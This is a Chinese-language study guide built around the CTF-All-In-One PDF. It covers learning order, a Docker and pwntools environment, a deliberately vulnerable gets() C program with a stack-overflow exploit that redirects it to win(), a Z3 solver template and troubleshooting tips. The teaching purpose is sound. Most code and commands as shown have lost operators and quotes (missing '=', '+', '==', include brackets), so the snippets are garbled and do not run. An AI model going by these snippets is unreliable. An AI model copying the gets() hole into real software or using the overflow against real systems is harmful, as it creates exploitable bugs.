指南)
簡介《ctf-all-in-one.pdf》是一份面向CTF奪旗賽學習者與安全愛好者的系統(tǒng)性指南覆蓋從入門到進階所需的核心知識。文檔從CTF概念、比賽形式和規(guī)則講起逐步展開Reverse、Pwn、Web、Crypto、Misc、Mobile等主流題型并梳理虛擬機、調(diào)試器、反匯編器等常用工具鏈幫助讀者快速建立完整認知。后續(xù)章節(jié)深入Linux與Windows下的二進制分析、格式化字符串漏洞、棧溢出、堆利用、ROP等利用技術(shù)還包含F(xiàn)uzz測試、符號執(zhí)行、反調(diào)試等高級專題適合希望系統(tǒng)提升解題能力的選手。全包僅1個PDF文件大小6.69MB目錄結(jié)構(gòu)清晰方便按需查閱。文檔配有大量真實賽題案例與參考資料既有理論講解也有實戰(zhàn)演示可直接用于日常訓練與備賽復盤。目前已有593人學習瀏覽是實用性較強的CTF入門與進階資料。1. CTF-All-In-One 是什么一份把 CTF 學習路徑收攏的文檔資料想入坑 CTFCapture The Flag的人最不缺的就是資料最缺的是一張能照著走的地圖。你搜CTF 入門能得到幾百個博客、幾十個 PDF、十幾個平臺但每份資料的版本、方向、難度參差不齊有人讓你先刷 Pwn有人讓你先學密碼學結(jié)果新手第一周就卡在環(huán)境上。CTF-All-In-One 這類聚合型文檔資料正是沖著這個痛點來的它把 CTF 競賽里最常見的五個方向——Web、Pwn二進制利用、Reverse逆向工程、Crypto密碼學、Misc雜項——連同工具安裝、基礎理論、例題思路整理成一套從零開始的目錄。適合在校學生、剛轉(zhuǎn)安全方向但缺實戰(zhàn)經(jīng)歷的從業(yè)者也適合想帶競賽隊伍但又不想自己從零攢講義的人。它的價值不在于某一道題講得多深而在于把先學什么、后學什么、學完去哪驗證這條主線理順了。2. 把 CTF-All-In-One 的內(nèi)容拆成一張可落地的學習地圖2.1 五個方向考的是五種不同的能力很多人把 CTF 理解成黑客比賽以為學會了就能滲透一切其實 CTF 更像一場限時的工程能力考試。文檔之所以按方向拆章是因為每個方向考察的心智模型完全不同混在一起學只會兩頭都抓不住。我按自己帶新人的經(jīng)驗把這五個方向的核心差異列成一張表方向核心考察典型題型入門門檻Misc 雜項信息收集、編碼識別、隱寫、流量分析圖片隱寫、pcap 包分析、各種奇葩編碼最低會看文件、會裝工具就能上手Web對 HTTP 協(xié)議的理解、服務端邏輯漏洞、注入類問題SQL 注入、XSS、文件包含、反序列化中低懂請求響應就能開始Reverse 逆向讀匯編、還原算法、對抗混淆破解序列號、還原 flag 生成器、脫殼中高需要耐心看反匯編Crypto 密碼學數(shù)學建模、識別算法、求解約束古典密碼、RSA 變種、分組密碼中難在把題目翻譯成數(shù)學結(jié)構(gòu)Pwn 二進制利用程序內(nèi)存布局、漏洞觸發(fā)、構(gòu)造 payload棧溢出、堆利用、格式化字符串最高需要同時懂匯編、系統(tǒng)與調(diào)試器文檔里每個方向都會配一個前置知識章節(jié)這是我最看重的地方。它告訴你學 Reverse 之前至少要會看 x86 指令學 Pwn 之前要知道進程虛擬內(nèi)存長什么樣。把這些前置知識過一遍再往下讀就順很多。反過來如果一上來就死磕 Pwn 的堆利用大概率三天之內(nèi)失去興趣。2.2 為什么值得當主教材而不是字典我剛接觸 CTF-All-In-One 時的第一反應是這東西不就是把網(wǎng)上的 writeup 匯總了一下嗎等真按它學完一輪才發(fā)現(xiàn)匯總和體系化是兩碼事。它最大的特點是跟著讀就能走而不是遇到問題時翻一下。比如講棧溢出它會從函數(shù)調(diào)用約定講起講到返回地址怎么被覆蓋再給一道例題讓你本地復現(xiàn)講 RSA它會先講模運算和歐拉函數(shù)再給腳本讓算 flag。這種線性結(jié)構(gòu)讓初學者不用自己拼圖。第二個理由是它的交叉引用做得好。文檔里提到某個工具時會順帶告訴你它出現(xiàn)的上下文和典型用法比如用 GDB 調(diào)試時遇到 PIE 開啟該怎么處理用 ROP 之前為什么先關(guān) ASLR 做驗證。對于自學的人來說這種上下文里的知識比孤立的命令列表有用得多。第三個理由是版本問題被集中處理了。CTF 圈里大量老博客的例題還在用 Python 2跑起來全是編碼錯誤而這類聚合文檔一般會給出更現(xiàn)代的替代寫法省掉你到處找兼容方案的時間。當然要承認它的邊界它是學習資料不是題庫。想達到比賽能出分的水平至少還要搭配一個在線靶場練習平臺把文檔里每一章的例題當作業(yè)去刷。文檔的意義是讓你少走彎路不是替你走路。2.3 需要先補齊的底子二進制、匯編與密碼學基礎CTF-All-In-One 雖然從零講起但它的零是零 CTF 經(jīng)驗不是零編程基礎。我建議動手前的第一周把這四塊底子補上C 語言基礎要會不用寫多好能看懂指針、數(shù)組、函數(shù)調(diào)用就行十六進制與二進制換算要熟練因為所有隱寫和逆向的入手點都是字節(jié)Linux 基本命令要會特別是 file、strings、xxd、readelf 這類分析命令最后是基礎的數(shù)論知識包括模運算、公約數(shù)、逆元這決定了你能不能看懂 RSA 的解題腳本。這塊底子對應的章節(jié)在文檔里往往被放在準備篇或基礎篇。不要跳過也不要用先用再學的心態(tài)糊弄。實戰(zhàn)里你會反復遇到這些概念一個逆向題卡住往往不是不會反匯編而是看不懂某個位運算在干什么一個 Crypto 題卡住往往是不知道歐拉函數(shù)怎么用。把基礎看兩遍比盲目刷二十道題更高效。3. 用本地環(huán)境把 CTF-All-In-One 里的知識點跑成復現(xiàn)結(jié)果3.1 最小三件套容器、Pwntools 與調(diào)試器自學 CTF 最容易翻車的地方在環(huán)境。文檔給的例題大多涉及編譯、調(diào)試和 exploit如果直接在物理機上折騰 32 位依賴裝完系統(tǒng)也差不多該重裝了。我的做法是準備一個獨立的虛擬化環(huán)境作為跑題的沙盒壞了就重置完全不心疼。最常見的方式是用 Docker 起一個 Ubuntu 容器把 CTF 常用工具裝進去。下面這一組命令能讓你快速得到一個可用的 pwn 環(huán)境# 拉一個長期支持的 Ubuntu 鏡像并進入交互式容器 docker pull ubuntu:22.04 docker run -it --cap-addSYS_PTRACE --name ctf-box ubuntu:22.04 /bin/bash # 進入容器后安裝基礎編譯與調(diào)試工具 apt update apt install -y gcc gdb binutils python3-pip file net-tools vim # 安裝 Pwntools 并驗證版本 pip3 install pwntools python3 -c from pwn import *; print(pwntools ok)參數(shù)說明--cap-addSYS_PTRACE是很多新手會漏掉的關(guān)鍵項它允許容器內(nèi)的 GDB 附加到被調(diào)試進程上。沒有這個權(quán)限你在容器里調(diào)試子進程時會遇到ptrace: Operation not permitted文檔里的調(diào)試步驟全部失效。--name ctf-box給容器起了名字后面要用docker start ctf-box和docker exec -it ctf-box /bin/bash重新進入時方便。Pwntools 是 Pwn 題腳本的必備庫里面集成了進程交互、payload 構(gòu)造和 ELF 解析功能裝好后用一行 Python 驗證導入是否成功避免后面寫 exploit 時才發(fā)現(xiàn)環(huán)境壞的窘境。除了容器我還建議再裝一個 32 位運行庫因為文檔里很多老例題是 32 位程序。在 Ubuntu 22.04 上執(zhí)行dpkg --add-architecture i386 apt update apt install -y libc6-dev-i386 libc6-dbg:i386這兩行是給系統(tǒng)加 32 位架構(gòu)支持。如果不裝遇到cannot execute binary file: Exec format error別奇怪不是文件壞了是你的系統(tǒng)根本跑不了 32 位程序。3.2 跑通第一個 Pwn 例題64 位棧溢出與 payload 模板文檔里 Pwn 方向的第一個實戰(zhàn)例題幾乎都是棧溢出。別覺得它簡單整個堆利用體系都是建立在你能穩(wěn)定控制返回地址這件事上的。我先寫一個本地自測用的脆弱程序用它把最小模板跑通// vuln.c一個存在棧溢出的最小程序僅在本地練習環(huán)境使用 #include stdio.h #include string.h void win() { puts(you win!); } void vuln() { char buf[64]; gets(buf); // 不檢查長度允許溢出覆蓋返回地址 } int main() { vuln(); return 0; }編譯時關(guān)掉默認防護方便本地驗證gcc -o vuln vuln.c -fno-stack-protector -no-pie參數(shù)說明-fno-stack-protector去掉棧保護canary-no-pie讓程序加載地址固定這樣win()的函數(shù)地址在每次運行中都不會變。對于剛起步的學習這兩個選項把你暫時不想碰的干擾因素去掉先看清楚溢出的本質(zhì)。接下來寫 exploitfrom pwn import * # 加載目標程序并解析 ELF拿到 win 函數(shù)地址 elf ELF(./vuln) win_addr elf.symbols[win] # 啟動本地進程作為攻擊目標 p process(./vuln) # 64 位下緩沖區(qū) 64 字節(jié) rbp 8 字節(jié)返回地址偏移為 72 payload bA * 72 p64(win_addr) p.sendline(payload) # 切換到交互模式觀察是否輸出 you win p.interactive()邏輯說明在 x86_64 架構(gòu)下函數(shù)調(diào)用時棧布局從低地址到高地址依次是局部變量、保存的 rbp、返回地址。buf[64]占了 64 字節(jié)gets()寫入的數(shù)據(jù)會繼續(xù)向上覆蓋保存的 rbp 和返回地址所以偏移量是 72。p64(win_addr)把地址按小端序拼進 payload這是 x86 系 CPU 的統(tǒng)一字節(jié)序?qū)懛戳顺绦驎苯犹揭粋€不存在的地址。跑通這個用例后文檔里后面那些控制返回地址的章節(jié)就都好理解了方式千變?nèi)f化內(nèi)核都是這一條。3.3 用 Z3 把 Crypto/逆向里的數(shù)學約束變成可求解代碼CTF 的 Crypto 方向和部分 Reverse 題表面上是讓你解密或找 flag實際上是在解一組數(shù)學約束。手工推導非常吃力用約束求解器可以大幅省時間。Z3 是微軟出品的定理證明器CTF 圈的通用做法是先把題目條件翻譯成變量和等式再交給它跑。from z3 import * # 聲明兩個整數(shù)變量代表題中未知的 flag 片段 x Int(x) y Int(y) # 把題目里能讀到的條件建模為等式 s Solver() s.add(x y 6) s.add(x - y 2) # 檢查是否有解并輸出 if s.check() sat: m s.model() print(fx {m[x]}, y {m[y]}) else: print(no solution)邏輯說明Int(x)創(chuàng)建符號變量Solver收集約束s.check()返回sat表示可滿足s.model()給出滿足所有條件的賦值。實際題目里約束往往來自字節(jié)比較比如一個函數(shù)對輸入做了加減異或最后和某個數(shù)組比對你只需要把每一步逆運算寫成等式即可。我把這個模板保存成本地的solve_template.py遇到任何需要解方程的題都先套它比手寫暴力遍歷快得多。Z3 也支持位向量BitVec處理二進制位運算時用位向量聲明確保結(jié)果符合整數(shù)溢出語義這是另一個值得記下來的細節(jié)。4. 五大方向的學習順序與每周時間分配4.1 推薦順序Misc → Web → Reverse → Crypto → Pwn文檔可以線性讀但做題不能線性刷。我的推薦順序是 Misc 先行。原因是 Misc 門檻最低一兩天就能出成績能快速建立我確實在做 CTF的正反饋同時它使用的 file、strings、binwalk 等工具也是其他方向的基礎技能。隨后進入 Web因為 Web 題的調(diào)試反饋最快你發(fā)一個請求服務器立刻告訴你對不對適合用來理解漏洞是邏輯缺陷不是玄學。之后再看 Reverse。逆向需要耐著性子看匯編如果一上來就學容易因為挫敗感放棄。有了 Web 和 Misc 的實戰(zhàn)經(jīng)驗后你至少熟悉了通過輸入輸出猜測內(nèi)部邏輯的思路這對逆向很重要。Crypto 放在第四位它的難點在數(shù)學而不在工具建議先掌握文檔里 RSA 的幾個經(jīng)典攻擊模型再去刷題否則你會覺得每個題都是新題永遠總結(jié)不出規(guī)律。門檻最高的 Pwn 放最后因為棧溢出、堆利用需要前面方向積累的調(diào)試能力和腳本編寫能力作為支撐。這個順序不一定適合所有人但培養(yǎng)新手時幾乎沒有例外。4.2 每天兩小時的配比讀文檔和刷題不是一回事很多人看了一個月文檔上賽場還是不會做題因為讀和做之間差著一條巨大的鴻溝。讀文檔時你跟隨作者的思路每一步都覺得理所當然真正動手時沒人幫你把坑填平差一個變量都能讓你卡半小時。所以每章讀完至少要留出同等時間去練習平臺做同方向題目。我建議的時間配比是周一到周五每天只保證兩小時一小時讀文檔新章節(jié)一小時做前一章對應的練習題周末用半天專門復盤錯題。下面這個周計劃表是我?guī)氯藭r常用的模板時間內(nèi)容目標周一讀文檔 Misc 章前半部分學會識別常見文件頭與編碼周二刷 Misc 隱寫題 2 道獨立完成 binwalk 分析周三讀 Web 章HTTP 與注入基礎理解請求與響應的結(jié)構(gòu)周四刷 SQL 注入題 1 道能手工判斷注入點周五回顧本周筆記整理工具命令把零散知識點壓縮成卡片周末文檔例題全復現(xiàn) 錯題重做每個題至少本地跑通一次這里有個容易被忽略的原則文檔里的例題照著讀一遍不算數(shù)一定要親手敲進本地環(huán)境跑出結(jié)果。我見過太多人用眼睛學會了騙自己結(jié)果在比賽現(xiàn)場連exploit.py都跑不起來。4.3 用能力差值表決定下周主攻哪個方向每周日我會做一件事把當前五個方向各挑一道代表題記錄讀完題目到寫出第一版腳本的時間和是否一次通過。這兩個數(shù)據(jù)直接反映熟練度。比如 Reverse 如果總是要 30 分鐘才能摸清程序流程說明匯編快速閱讀還不過關(guān)下周就集中補這個薄弱項如果 Web 題基本一次過說明這塊已經(jīng)夠用把時間讓給其他方向。這個做法其實也很適合借助文檔的目錄來實現(xiàn)每學完一個章節(jié)就在能力表里對應位置打分。CTF-All-In-One 這樣的文檔給自己提供了清晰的章節(jié)邊界天然就是現(xiàn)成的進度條。當你在某個方向的分數(shù)明顯落后時優(yōu)先級不是去刷難題而是回到文檔把對應基礎章節(jié)重新精讀一遍找到自己漏掉的那個點。5. 新手自學 CTF-All-In-One 的五個高發(fā)問題排查單5.1 32 位程序跑不了缺的是 multilib不是缺系統(tǒng)現(xiàn)象從文檔例題或老題集中下載的 ELF 文件一運行就提示cannot execute binary file: Exec format error部分環(huán)境還會彈No such file or directory。原因程序是 32 位編譯的而你的系統(tǒng)是 64 位環(huán)境且沒有安裝 32 位運行庫。注意Exec format error并不代表文件損壞它只是內(nèi)核不認識這個二進制格式。解決按第 3 章的方法啟用 i386 架構(gòu)并安裝運行庫。裝完后用file命令確認一下輸出里包含ELF 32-bit LSB executable再執(zhí)行基本就能跑起來了。5.2 偏移對也打不通PIE 與 ASLR 把棧地址挪了現(xiàn)象調(diào)試器里看到的偏移量算得一點沒錯返回地址也拼進了 payload但一執(zhí)行就段錯誤。更詭異的是同一段 exploit 偶爾能通偶爾崩。原因程序開啟了 PIE位置無關(guān)可執(zhí)行文件或者系統(tǒng) ASLR 生效。這兩種機制都會讓函數(shù)地址在每次運行時變化你寫死的0x4011b6在這一次運行中對應的并不一定是win()。解決本地練習時可以用setarch $(uname -m) -R ./vuln臨時關(guān)閉地址隨機化先確保 payload 邏輯本身正確遠程題目環(huán)境無法關(guān)閉 ASLR就要走泄漏地址—計算基址—拼動態(tài)地址的路線這也是文檔里后續(xù)章節(jié)講 ROP 時必然遇到的內(nèi)容。先分清是邏輯錯還是地址隨機化能省掉大量無意義的調(diào)試時間。5.3 py2 時代例題只報編碼錯bytes 和 str 混用現(xiàn)象文檔或老 writeup 里的 Python 腳本一運行就報TypeError: cant concat str to bytes或者UnicodeDecodeError明明代碼邏輯沒錯。原因CTF 圈很多經(jīng)典例題誕生于 Python 2 時代那時候str本質(zhì)上是字節(jié)串和現(xiàn)在 Python 3 的bytes混在一起各種隱式轉(zhuǎn)換行為完全不一樣。解決統(tǒng)一入口把所有外部讀入的數(shù)據(jù)都用bytes處理只在輸出到終端時才decode()。比如# 讀入二進制數(shù)據(jù)保持 bytes 類型 data open(flag.png, rb).read() # 需要和字符串拼接時encode 成 bytes 再拼 prefix bCTF{ result prefix data[:4]邏輯說明Python 3 里bCTF{是 bytesCTF{是 str兩者不能直接用連接。很多隱寫題腳本需要把固定頭字節(jié)和文件內(nèi)容拼在一起寫成上面這種格式就不會報錯。補一個# -*- coding: utf-8 -*-注釋雖然不能解決這個類型問題但能避免源碼里的中文注釋在某些終端下亂碼。5.4 復現(xiàn) Web 題 404/500容器狀態(tài)不是新的現(xiàn)象在練習平臺復現(xiàn)文檔里的 Web 例題時Payload 完全按照題解寫但服務器返回 404 或者 500。換一個瀏覽器訪問頁面卻正常。原因CTF 平臺為了隔離用戶通常會為每個會話動態(tài)創(chuàng)建容器。你拿到題目時的容器狀態(tài)是干凈的但某些依賴比如數(shù)據(jù)庫沒有自動初始化還有不少題的容器會在空閑一段時間后被回收重新開題時 session 變了舊 Payload 自然失效。解決先確認題目容器是否已經(jīng)重置。常見做法是重新點擊開啟環(huán)境按鈕拿到新的訪問 URL 后再試帶 Cookie 的題目先清空瀏覽器 Cookie 和新容器匹配。另一個高頻原因是 Payload 里的 URL 編碼不完整尤其是空格和引號建議所有注入類參數(shù)都先用 Burp 的編碼功能處理一遍。記得看容器日志如果平臺提供的話500 錯誤十有八九是內(nèi)部執(zhí)行異常不是你的 Payload 語法錯。5.5 看時會合上就空白筆記抄成題解庫才有效現(xiàn)象讀文檔的時候覺得全懂了但關(guān)上頁面做新題連第一步從哪下手都忘了。筆記記了好幾頁比賽時根本來不及翻。原因你是在抄筆記不是在轉(zhuǎn)化筆記。抄下來的是作者的思路不是你的思路大腦沒有真正參與加工。CTF 題型的相似性極高但變化也多抄來的筆記遇到變體就失效。解決強迫自己用題型卡格式記筆記每個方向一張卡只寫四行題目特征、核心考點、最小命令、一句口訣。比如棧溢出題型卡寫緩沖區(qū)返回地址覆蓋偏移計算p64 拼地址就夠用了。這樣記錄的本子比賽前十分鐘能快速過一遍才能真正變成你的戰(zhàn)斗力。6. 把文檔變成你自己的知識資產(chǎn)三個習慣與一個復盤模板CTF-All-In-One 這類資料最好的用法不是從頭到尾背一遍而是把它當作骨架往上長你自己的題解和經(jīng)驗。我的做法有三條每學完一個章節(jié)就用自己話把例題的考點壓縮成一句話寫進筆記每用到一個新命令就順手把它歸檔到本地一個叫bin-notes.md的文件里下次遇到同樣場景直接 grep每月底挑一個之前做不出來的題目重新做一遍跑不通就回頭改筆記確保筆記里記錄的步驟自己還能執(zhí)行。這三條堅持下來文檔會從別人的知識慢慢變成你的工具手冊。復盤模板我也固定下來按方向建目錄每個題目以考點_題名.md命名正文固定三段——一句題干、一段關(guān)鍵思路、一段踩坑記錄。這個習慣來自一次讓我印象深刻的翻車有次比賽遇到一道看似常見的逆向題我抄過題解卻從沒本地復現(xiàn)過結(jié)果現(xiàn)場發(fā)現(xiàn)自己的偏移計算完全錯了浪費了一個多小時才調(diào)通。從那以后我的規(guī)矩就是任何腳本只有本地跑通一遍才允許寫進筆記——看懂不稀罕能復現(xiàn)才是自己的。如果你正在猶豫要不要按 CTF-All-In-One 投入時間我的建議是先把文檔的目錄通讀一遍找到自己最感興趣的兩個方向用兩周時間跑通第 3 章的基礎環(huán)境再決定是否深入。CTF 這條路很長但它的正反饋來得也很快第一次成功 getshell、第一次解出別人解不出的 RSA那種成就感足以支撐你走完前面最枯燥的基礎階段。希望幫到你。本文還有配套的精品資源點擊獲取